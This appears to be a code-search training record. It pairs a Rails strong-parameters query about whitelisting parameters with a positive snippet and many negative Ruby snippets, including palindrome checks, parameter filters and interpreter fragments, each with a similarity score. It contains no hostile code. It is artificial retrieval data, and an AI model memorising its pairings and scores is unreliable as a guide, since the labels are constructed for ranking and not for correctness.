palindrome (str)\n reversed = str.reverse\n\n if reversed == str\n return true\n else\n return false\n end\nend", "def real_palindrome?(string)\n string.downcase!\n if string == string.reverse\n p true\n else\n p false\n end\nend", "def real_palindrome?(string)\n string = string.gsub(/\\W/, '').downcase\n string == string.reverse\nend", "def is_palindrome?(str)\n str == str.reverse\nend", "def palindrome?(string)\n result = false\n str = string.to_s.downcase\n re = /[^a-z0-9]/\n str = str.gsub(re, \"\")\n str_reverse = str.reverse\n if str_reverse == str\n result = true\n end\n return result\nend", "def palindrome?(string)\n string.reverse == string\nend", "def palindrome?(string)\n string.reverse == string\nend", "def palindrome?(string)\n string.reverse == string\nend", "def word_palindrome(word)\n\n index = 0\n end_point = -1\n\n while index < word.length/2\n return false if word[index] != word[end_point-index]\n index+=1\n end\n return true\n\nend", "def palindrome?(string)\n\n\tif string.reverse == string\n\t\ttrue\n\telse\n\t\tfalse\n\tend\n\t\nend", "def palindrome?(word)\n array_of_letters = word.downcase.split(\"\")\n count_front = 0\n count_back = word.length - 1\n # Match the first letter with the last, if they are the same then step through the word\n while count_front < count_back\n if array_of_letters[count_front] == array_of_letters[count_back]\n count_front += 1\n count_back -= 1\n else\n return false\n end\n end\n return true\nend", "def palindrome?(string)\n s = string.downcase.gsub(/\\W/, \"\")\n return (s == s.reverse)\nend", "def real_palindrome?(string)\n string = string.downcase.delete('^a-z0-9')\n palindrome?(string)\nend", "def real_palindrome?(string)\n string = string.downcase.delete('^a-z0-9')\n palindrome?(string)\nend", "def real_palindrome?(string)\n string = string.downcase.delete('^a-z0-9')\n palindrome?(string)\nend", "def real_palindrome?(string)\n string = string.downcase.delete('^a-z0-9')\n palindrome?(string)\nend", "def real_palindrome?(string)\n string = string.downcase.delete('^a-z0-9')\n palindrome?(string)\nend", "def real_palindrome?(string)\n string = string.downcase.delete('^a-z0-9')\n palindrome?(string)\nend", "def palindrome_check(my_phrase)\n return false if my_phrase.class != String\n\n my_phrase = my_phrase.delete(\" \")\n my_phrase_dup = my_phrase.dup\n return my_phrase == string_reverse(my_phrase_dup)\nend", "def palindrome?(string)\r\n string.reverse == string\r\nend", "def palindrome?(string)\r\n string.reverse == string\r\nend", "def palindrome?(string)\r\n string.reverse == string\r\nend", "def word_check str\n # set str to be lowercase str.downcase\n simple_str = str.downcase.delete(' ')\n\n # check if the str .reverse is the same\n if simple_str == simple_str.reverse\n \"#{str} is a palidrome\"\n else\n \"#{str} is not a palidrome\"\n end\nend", "def palindrome_check(word)\n i = 0\n\n if word == nil\n return false\n end\n\n length = (word.length) - 1\n\n while length >= 0\n if word[length] == \" \"\n word[length] = \"\"\n end\n length = length - 1\n end\n\n length = (word.length) - 1\n\n while i <= length\n if word[i] == word[length]\n i = i + 1\n length = length - 1\n elsif word[i] != word[length]\n return false\n end\n end\n return true\nend", "def palindrome?(string)\n string.delete!(' ')\n string.downcase!\n reversed_string=string.reverse\n reversed_string.eql?(string)\nend", "def palindrome string #func param: string, name: palindrome\n string = string.downcase.scan(/\\w/) #make sure the value is lower case\n string == string.reverse #see if it equals its reverse, and return as boolean statement \nend", "def palindrome_word? (foo)\nfoo.downcase == foo.downcase.reverse\nend", "def is_palindrome?(x)\n x.to_s == x.to_s.reverse ? true : false\nend", "def palindrome?(string)\n y = string.downcase.gsub(/\\W/, '')\n y == y.reverse\nend", "def palindrome?(string)\n\nend", "def palindrome?(string)\n\nend", "def palindrome?(str)\n str.reverse == str\nend", "def palindrome?(str)\n str.reverse == str\nend", "def palindrome?(str)\n str.reverse == str\nend", "def palindrome?(str)\n str.reverse == str\nend", "def is_palindrome?(str)\r\n return str == str.reverse\r\nend", "def real_palindrome?(string)\n palindrome?(string.downcase.gsub(/\\W/, ''))\nend", "def real_palindrome?(string)\n new_string = string.downcase.delete('^0-9a-z')\n palindrome?(new_string)\nend", "def palindrome (word)\n if word.length == 1 || word.length == 0 #baseline, where it ends\n true\n else\n if word[0] == word[-1]\n palindrome(word[1..-2])\n else\n false\n end\n end\nend", "def palindrome(str)\n if str.reverse == str\n puts true\n else\n puts 'not palindrome'\n end\nend", "def palindrome?(string)\n return true if string == string.reverse\n return false\nend", "def palindrome?(sentence)\n word = sentence.downcase.gsub(' ','')\n word == word.reverse\nend", "def palindrome?(sentence)\n \n a = sentence.downcase.gsub(/ /, \"\") \n if a == a.reverse\n return true\n else \n return false\n end\n \nend", "def palindrome?(string)\n string == string.reverse\nend" ]
[ "0.9020713", "0.89196897", "0.88044435", "0.8780252", "0.8775502", "0.87751156", "0.8764665", "0.8759603", "0.87477624", "0.8715222", "0.8701719", "0.8692352", "0.8687892", "0.86864626", "0.8669412", "0.86614144", "0.8647115", "0.8644766", "0.8634355", "0.8629967", "0.86241746", "0.8620599", "0.8593117", "0.85771286", "0.8549865", "0.8533905", "0.8512826", "0.8484932", "0.8450303", "0.84494525", "0.84132355", "0.83683336", "0.8325458", "0.83240163", "0.8320062", "0.83190274", "0.82930243", "0.8281456", "0.8281456", "0.8275648", "0.8275192", "0.82735676", "0.8261419", "0.8248529", "0.82426286", "0.82399285", "0.82388425", "0.8237862", "0.8225925", "0.8219675", "0.82191944", "0.8215326", "0.8212981", "0.8212727", "0.820968", "0.8208785", "0.820819", "0.82076126", "0.8200488", "0.81968", "0.8189993", "0.8189741", "0.8189741", "0.8189741", "0.8189519", "0.81862944", "0.818458", "0.817998", "0.81763583", "0.81763583", "0.81763583", "0.81763583", "0.81763583", "0.81763583", "0.81752604", "0.81726", "0.81726", "0.81726", "0.8168407", "0.8162554", "0.8159232", "0.8156892", "0.81497234", "0.8144227", "0.8140571", "0.8138428", "0.8138428", "0.8138048", "0.8138048", "0.8138048", "0.8138048", "0.81353724", "0.8134399", "0.81179494", "0.8111085", "0.81082964", "0.8106737", "0.81024134", "0.8101852", "0.80980057" ]
0.8319942
35
Only allow a trusted parameter "white list" through.
def setting_params params.require(:setting).permit(:company_id, :email_domain, :email_username, :email_password, :year_start) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def allowed_params\n ALLOWED_PARAMS\n end", "def expected_permitted_parameter_names; end", "def param_whitelist\n [:role, :title]\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def permitted_params\n []\n end", "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def filtered_parameters; end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n [:rating, :review]\n end", "def valid_params?; end", "def permitted_params\n declared(params, include_missing: false)\n end", "def permitted_params\n declared(params, include_missing: false)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def filter_parameters; end", "def filter_parameters; end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def check_params; true; end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def list_params\n params.permit(:name)\n end", "def check_params\n true\n end", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def additional_permitted_params\n []\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def resource_params\n params[resource_singular_name].try(:permit, self.class.param_whitelist)\n end", "def allow_params_authentication!; end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def param_params\n params.require(:param).permit(:param_category_id, :param_table_id, :name, :english_name, :weighting, :description)\n end", "def quote_params\n params.permit!\n end", "def list_params\n params.permit(:list_name)\n end", "def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end", "def all_params; end", "def permitted_resource_params\n params[resource.object_name].present? ? params.require(resource.object_name).permit! : ActionController::Parameters.new\n end", "def source_params\n params.require(:source).permit(all_allowed_params)\n end", "def user_params\n end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def get_allowed_parameters\n return _get_specific_action_config(:allowed_action_parameters, :allowed_parameters)&.map(&:to_s)\n end", "def permitted_params\n @wfd_edit_parameters\n end", "def user_params\r\n end", "def param_whitelist\n whitelist = [\n :comment,\n :old_progress, :new_progress,\n :metric_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:metric_id)\n end\n \n whitelist\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def get_params\n\t\t\n\t\treturn ActionController::Parameters.new(self.attributes).permit(:first_name, :last_name, :email, :provider)\n\n\tend", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end", "def params_permit\n params.permit(:id)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def filter_params\n params.permit(*resource_filter_permitted_params)\n end", "def community_params\n params.permit(:profile_image, :name, :description, :privacy_type, :viewed_by, {tags: []}, {features: []}, {admins: []}, :members, :location, :beacon, :creator, :ambassadors, :current_events, :past_events, :feed, :category, :address, :allow_member_post_to_feed, :allow_member_post_to_events)\n end", "def specialty_params\n\t\tparams.require(:specialty).permit(*Specialty::DEFAULT_ACCESSIBLE_ATTRIBUTES)\n\tend", "def authorize_params\n super.tap do |params|\n %w[display scope auth_type].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "def feature_params_filter\n params.require(:feature).permit(:name, :cat, :lower, :upper, :opts, :category, :description, :company, :active, :unit, :icon)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def argument_params\n params.require(:argument).permit(:name)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def property_params\n params.permit(:name, :is_available, :is_approved, :owner_id)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end", "def whitelist_person_params\n params.require(:person).permit(:family, :pre_title, :given_name, :dates, :post_title, :epithet, :dates_of_office, same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end", "def parameters\n nil\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def sequence_param_whitelist\n default_param_whitelist << \"show_index\"\n end", "def resource_filter_permitted_params\n raise(NotImplementedError, 'resource_filter_permitted_params method not implemented')\n end", "def normal_params\n reject{|param, val| param_definitions[param][:internal] }\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def special_device_list_params\n params.require(:special_device_list).permit(:name)\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end" ]
[ "0.7121987", "0.70541996", "0.69483954", "0.6902367", "0.6733912", "0.6717838", "0.6687021", "0.6676254", "0.66612333", "0.6555296", "0.6527056", "0.6456324", "0.6450841", "0.6450127", "0.6447226", "0.6434961", "0.64121825", "0.64121825", "0.63913447", "0.63804525", "0.63804525", "0.6373396", "0.6360051", "0.6355191", "0.62856233", "0.627813", "0.62451434", "0.6228103", "0.6224965", "0.6222941", "0.6210244", "0.62077755", "0.61762565", "0.61711127", "0.6168448", "0.6160164", "0.61446255", "0.6134175", "0.6120522", "0.6106709", "0.60981655", "0.6076113", "0.60534036", "0.60410434", "0.6034582", "0.6029977", "0.6019861", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.60184896", "0.60157263", "0.6005857", "0.6003803", "0.60012573", "0.59955895", "0.5994598", "0.5993604", "0.5983824", "0.5983166", "0.5977431", "0.597591", "0.5968824", "0.5965953", "0.59647584", "0.59647584", "0.59566855", "0.59506303", "0.5950375", "0.59485626", "0.59440875", "0.5930872", "0.5930206", "0.5925668", "0.59235454", "0.5917905", "0.59164816", "0.5913821", "0.59128743", "0.5906617", "0.59053683", "0.59052664", "0.5901591", "0.58987755", "0.5897456", "0.58970183", "0.58942604" ]
0.0
-1
When the source is executed, is the stack as expected? Parameters: source A string containing fOOrth source code to execute. remainder An array with the expected stack contents after execution. debug Set to true to display debug info.
def foorth_equal(source, remainder=[], debug=false) self.assertions += 1 vm = Thread.current[:vm] vm.debug = debug vm.process_string(source) unless remainder == vm.data_stack msg = "Expected: #{remainder.inspect}\n Actual: #{vm.data_stack.inspect}" raise MiniTest::Assertion, msg, caller end ensure vm.debug = false vm.interpreter_reset vm.compiler_reset end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def test_stack_050\n\n @vc.parse <<EOF\n\n: test\n\n 0. 2dup 1+\n 2dup 1+\n 2dup 1+\n\n;\n\nEOF\n @vc.compile\n @vc.run\n assert_equal(:halt, @vc.vm.state)\n assert_equal(8, @vc.vm.depth)\n assert_equal(3, @vc.vm.tos)\n assert_equal(0, @vc.vm.nos)\n assert_equal(2, @vc.vm.pick(2))\n assert_equal(0, @vc.vm.pick(3))\n assert_equal(1, @vc.vm.pick(4))\n assert_equal(0, @vc.vm.pick(5))\n assert_equal(0, @vc.vm.pick(6))\n assert_equal(0, @vc.vm.pick(7))\n end", "def stackFrameWalk()\n toKernel32Code = toKernel32()\n data = <<EOS\n push esi\n push ecx\n\n mov eax, ebp\n\n stack_walking:\n mov esi, eax\n lodsd\n mov ecx,[eax]\n test ecx, ecx\n jnz stack_walking\n\n ; esi now points to last stack frame (and since lodsd increments esi by 4 it points to function in ntdll.dll)\n mov eax,[esi]\n\n find_begin:\n dec eax\n xor ax,ax ; work through image until we find base address\n cmp word [eax],0x5A4D ; MZ start of PE header\n jnz find_begin\n\n pop ecx\n pop esi\n\n mov edx, eax\n ; edx now points to ntdll.dll or kernel32.dll base address (depending on windows version)\n\n #{toKernel32Code}\nEOS\n data\n end", "def begin_investigation(processed_source); end", "def run(code, verbose = false)\n\n # loop over the code until end is reached\n #\n while(@str_p < code.size)\n puts code[@str_p,code.size-@str_p] if verbose\n\n # decide what shall be done now\n #\n case code[@str_p,1]\n\n # ignore this characters\n when \" \",\"\\r\",\"\\t\",\"\\n\"\n\n # perform addition on stack\n when \"+\"\n @stack.+\n\n # perform substraction on stack\n when \"-\"\n @stack.-\n\n # perform multiplication on stack\n when \"*\"\n @stack.*\n\n # perform division on stack\n when \"/\"\n @stack./\n\n # perform negation on stack\n when \"_\"\n @stack._\n\n # perform equality check on stack\n when \"=\"\n @stack.eq\n\n # perform greater than check on stack\n when \">\"\n @stack.>\n\n # perform NOT on stack\n when \"~\"\n @stack.~\n\n # perform AND on stack\n when \"&\"\n @stack.&\n\n # perform OR on stack\n when \"|\"\n @stack.|\n\n # Duplicate top element on stack\n when \"$\"\n @stack.dup\n\n # Remove top element on stack\n when \"%\"\n @stack.%\n\n # Perform swapping on 2 top elements\n when \"\\\\\"\n @stack.swap\n\n # Perform rotation on 3 top elements\n when \"@\"\n @stack.rot\n\n # Copy nth element to the top of stack\n when \"ø\"\n @stack.pick\n\n # handle comments\n when \"{\"\n @str_p = code.index('}', @str_p + 1)\n\n # Push the integer on stack\n when '0','1','2','3','4','5','6','7','8','9'\n num = code[@str_p..code.size].match /\\A\\d+/ \n @stack.push num[0].to_i\n @str_p += (num[0].size - 1)\n\n # read lambda function and push on stack\n when \"[\"\n f = 1\n c = 1\n while f > 0 do\n f += 1 if code.at(@str_p + c) == '['\n f -= 1 if code.at(@str_p + c) == ']'\n c += 1\n end\n @stack.push l = code[@str_p + 1 .. @str_p + c - 2]\n @str_p += l.size + 1\n\n # Print text between the \"\n when '\"'\n c = code[@str_p + 1 .. code.index('\"', @str_p + 1) - 1]\n @str_p += c.size+1\n puts c\n\n # Perform accessing on global variables a-z, : is value assignment, ; pushes value on stack\n when 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z' #assing or push global variables\n if code.at(@str_p + 1) == ':'\n @global_variables[code.at(@str_p)] = @stack.pop\n @str_p += 1\n elsif code[@str_p + 1, 1] == ';'\n @stack.push @global_variables[code.at(@str_p)] or raise StandardError, \"Undefined global variable\"\n @str_p += 1\n else\n raise StandardError, \"Syntax error with global variables\"\n end\n\n # Execute the lambda function on stack (means copying it to after the !)\n when '!'\n code.insert(@str_p + 1, @stack.pop)\n\n # Print top element as integer\n when '.'\n puts @stack.pop.to_i\n\n # Print top element as character\n when ','\n puts @stack.pop.chr\n\n # Read one single character from stdin and push to stack\n when '^'\n c = nil\n while (c = ask('') { |q| q.character = true; q.echo = false }) != \"\\e\" do\n break\n end\n @stack.push c.to_i.to_s == c ? c.to_i : c\n\n # Push the Character after \\ as integer on stack\n when '\\''\n c = code.at(@str_p + 1)\n @stack.push c.to_i.to_s == c ? c.to_i : c\n @str_p += 1\n\n # Flush input and output\n when 'ß'\n STDOUT.flush\n\n # Perform an IF\n when '?'\n f = @stack.pop\n b = @stack.pop\n code = code.insert(@str_p + 1, f) if b == -1\n\n # Perform a WHILE\n when \"#\"\n a = @stack.pop\n b = @stack.pop\n @while_stack.push b\n @while_stack.push a\n code = code.insert(@str_p + 1, \"[#{b}]!W\")\n\n # Helper for WHILE\n when \"W\"\n r = @stack.pop\n a = @while_stack.pop\n b = @while_stack.pop\n if r == -1\n @while_stack.push b\n @while_stack.push a\n code = code.insert(@str_p + 1, \"[#{a}]![#{b}]!W\")\n end\n\n else\n raise StandardError, \"syntax error\"\n end\n\n @stack.show if verbose\n\n # in next step go for the next character\n @str_p += 1\n end\n end", "def interpret(source)\n c = compile(source)\n ci = cifrom(c)\n ci.run\nend", "def off_test_stack32_014\n rsp = exec(\": test 2 4 6 depth ;\")\n stk = stack(rsp)\n assert_equal([2, 4, 6, 3], stk)\n end", "def foorth_raises(source, err=XfOOrth::XfOOrthError, debug=false)\r\n self.assertions += 1\r\n vm = Thread.current[:vm]\r\n vm.debug = debug\r\n failed, msg = false, \"\"\r\n\r\n begin\r\n vm.process_string(source)\r\n msg = \"Expected: #{err}\\n Actual: No exception raised.\"\r\n failed = true\r\n\r\n rescue Exception => e\r\n unless e.class == err\r\n msg = \"Expected: #{err}\\n Actual: #{e.class}\"\r\n failed = true\r\n end\r\n end\r\n\r\n raise MiniTest::Assertion, msg, caller if failed\r\n\r\n ensure\r\n vm.debug = false\r\n vm.interpreter_reset\r\n vm.compiler_reset\r\n end", "def source_begin\n return @source_begin if @source_begin\n default_result = children.select { |child| Sexp === child }.\n map(&:source_begin).compact.first\n @source_begin = \n case type\n when :@ident, :@int, :@kw, :@float, :@tstring_content, :@regexp_end,\n :@ivar, :@cvar, :@gvar, :@const, :@label, :@CHAR, :@op\n children[1]\n when :regexp_literal\n result = default_result.dup\n if backtrack_expecting!(result, -1, '/') || backtrack_expecting!(result, -3, '%r')\n result\n end\n when :string_literal\n if default_result\n result = default_result.dup # make a copy we can mutate\n if backtrack_expecting!(result, -1, \"'\") ||\n backtrack_expecting!(result, -1, '\"') ||\n backtrack_expecting!(result, -3, '%q') ||\n backtrack_expecting!(result, -3, '%Q')\n result\n end\n end\n when :string_embexpr\n if default_result\n result = default_result.dup\n result[1] -= 2\n result\n end\n when :dyna_symbol\n if default_result\n result = default_result.dup\n result[1] -= 2\n result\n end\n when :symbol_literal\n result = default_result.dup\n result[1] -= 1\n result\n when :hash\n backtrack_searching(default_result, '{') if default_result\n when :array\n backtrack_searching(default_result, '[') if default_result\n when :def, :defs\n backtrack_searching(default_result, 'def')\n when :class, :sclass\n backtrack_searching(default_result, 'class')\n when :module\n backtrack_searching(default_result, 'module')\n else\n default_result\n end\n end", "def parse_source(source)\n lines = source.lines.to_a\n starting_line_index = @line_number - 1\n ending_line_index = starting_line_index\n sexp = nil\n while !sexp && ending_line_index < lines.size\n begin\n snippet = lines.to_a[starting_line_index..ending_line_index].join\n sexp = parser.parse(snippet)\n return ParsedCode.new(sexp)\n rescue Racc::ParseError\n ending_line_index += 1\n raise if ending_line_index >= lines.size\n end\n end\n end", "def foorth_output(source, expected)\r\n self.assertions += 1\r\n failed, msg = false, \"\"\r\n vm = Thread.current[:vm]\r\n\r\n actual, _nc = capture_io do\r\n vm.process_string(source)\r\n end\r\n\r\n if expected != actual\r\n msg = \"Expected: #{expected.inspect}\\n Actual: #{actual.inspect}\"\r\n raise MiniTest::Assertion, msg, caller\r\n end\r\n\r\n ensure\r\n vm.interpreter_reset\r\n vm.compiler_reset\r\n end", "def inspect_source(*args)\n super(*args, source_file)\n end", "def run(source_code, filename: nil)\n return if source_code.empty?\n @results += process_ast(source_code, yield, filename: filename)\n end", "def diagnose(source, api_map); end", "def source_location\n if @file.nil?\n args =[*(1..(arity<-1 ? -arity-1 : arity ))]\n\n set_trace_func method(:trace_func).to_proc\n call(*args) rescue nil\n set_trace_func nil\n @file = File.expand_path(@file) if @file && File.exist?(File.expand_path(@file))\n end\n [@file, @line] if @file\n end", "def trace(args)\n if solve(args)\n path_stack, current_cell = [], @seen_stack.last\n path_stack.push(current_cell)\n until @seen_stack.empty?\n current_cell = find_steps(current_cell, path_stack)\n end\n path_stack.reverse.each { |cell| print \"-->#{cell} \" }\n puts \"\"\n path_stack\n else nil\n end\n end", "def parse_block_source(example)\n @debug = false\n\n # Source code for rspec is living on the metadata[:block].source location\n unless defined?(example.metadata) && defined?(example.metadata[:block]) && defined?(example.metadata[:block].source)\n @source = ''\n return\n end\n\n unless example.metadata[:source_override].nil?\n @source = example.metadata[:source_override]\n return\n end\n \n source = example.metadata[:block].source.strip\n\n segments = source.match(EXTRACT_CONTENT_REX)\n\n unless defined?(segments) && defined?(segments[:content])\n @source = ''\n return\n end\n @source = remove_wasted_indentation(segments[:content])\n @source\n end", "def source_location\n if @file.nil?\n args =[*(1..(arity<-1 ? -arity-1 : arity ))]\n\n set_trace_func method(:trace_func).to_proc\n call(*args) rescue nil\n set_trace_func nil\n @file = File.expand_path(@file) if @file && File.exist?(File.expand_path(@file))\n end\n [@file, @line] if @file\n end", "def run(args, temp=false)\n\n arg_str = args.size == 1 ? @proc.frame.line.to_s : @proc.cmd_argstr\n cm, file, line, position_type, expr, negate = \n @proc.breakpoint_position(arg_str, true)\n if file.nil?\n unless @proc.context\n errmsg 'We are not in a state that has an associated file.'\n return \n end\n file = @proc.frame.file\n if line.nil? \n # Set breakpoint at current line\n line = @proc.frame.line\n end\n end\n\n if line\n if LineCache.cache(file, settings[:reload_source_on_change])\n last_line = LineCache.size(file)\n if line > last_line\n errmsg(\"There are only %d lines in file \\\"%s\\\".\" % [last_line, \n @proc.canonic_file(file)]) \n return\n end\n syntax_errors = Trepan::ruby_syntax_errors(file)\n if syntax_errors\n msg [\"File #{file} is not a syntactically correct Ruby program.\",\n \"Therefore we can't check line numbers.\"]\n return unless confirm('Set breakpoint anyway?', false)\n else\n unless LineCache.trace_line_numbers(file).member?(line)\n errmsg('Line %d is not a stopping point in file \"%s\".' % \n [line, @proc.canonic_file(file)])\n return\n end\n end\n else\n errmsg('No source file named %s' % @proc.canonic_file(file))\n return unless confirm('Set breakpoint anyway?', false)\n end\n \n unless @proc.context\n errmsg 'We are not in a state we can add breakpoints.'\n return \n end\n\n expr = \"!(#{expr})\" if negate\n if temp\n @proc.state.context.set_breakpoint(file, line, expr)\n msg(\"Temporary breakpoint set at file %s, line %d\" % [file, line])\n else \n b = Debugger.add_breakpoint file, line, expr\n msg(\"Breakpoint %d file %s, line %d\" % \n [b.id, @proc.canonic_file(file), line])\n end\n # unless syntax_valid?(expr)\n # errmsg(\"Expression \\\"#{expr}\\\" syntactically incorrect; breakpoint disabled.\\n\")\n # b.enabled = false\n # end\n # else\n # method = line.intern.id2name\n # b = Debugger.add_breakpoint class_name, method, expr\n # print \"Breakpoint %d at %s::%s\\n\", b.id, class_name, method.to_s\n end\n end", "def execute()\n while !@stop do\n @curr_char = @source_lines[@line_num][@col_num]\n\n if @step == true\n debug()\n end\n\n if @ascii_mode == true\n if @curr_char == '\"'\n @ascii_mode = false\n else\n @stack.push(@curr_char.ord())\n end\n\n move()\n next\n end\n\n\n case @curr_char\n when '+'\n # Pop two values a and b then push the result a+b\n a = popstack()\n b = popstack()\n @stack.push(a + b)\n when '-'\n # Pop two values a and b then push the result b-a\n a = popstack()\n b = popstack()\n @stack.push(b - a)\n when '*'\n # Pop two values a and b then push the result a*b\n a = popstack()\n b = popstack()\n @stack.push(a * b)\n when '/'\n # Pop two values a and b then push the result b/a.\n # If a is zero ask the user what result they want (this is actually in the spec)\n a = popstack()\n b = popstack()\n\n if a == 0\n puts \"Division by zero! What result do you want this to have?\"\n loop do\n prompt()\n ans = STDIN.gets\n\n if ans.respond_to?(\"to_i\")\n @stack.push(ans.to_i())\n break\n elsif ans.respond_to?(\"ord\")\n @stack.push(ans.ord())\n break\n end\n puts \"Invalid answer, please enter a better one\"\n end\n else\n @stack.push(b/a.floor())\n end\n when '%'\n # Pop two values a and b then push the result b%a.\n # If a is zero ask the user what result they want. Not in the spec but seems appropriate.\n a = popstack()\n b = popstack()\n\n if a == 0\n puts \"Division by zero! What result do you want this to have?\"\n loop do\n prompt()\n ans = STDIN.gets\n\n if 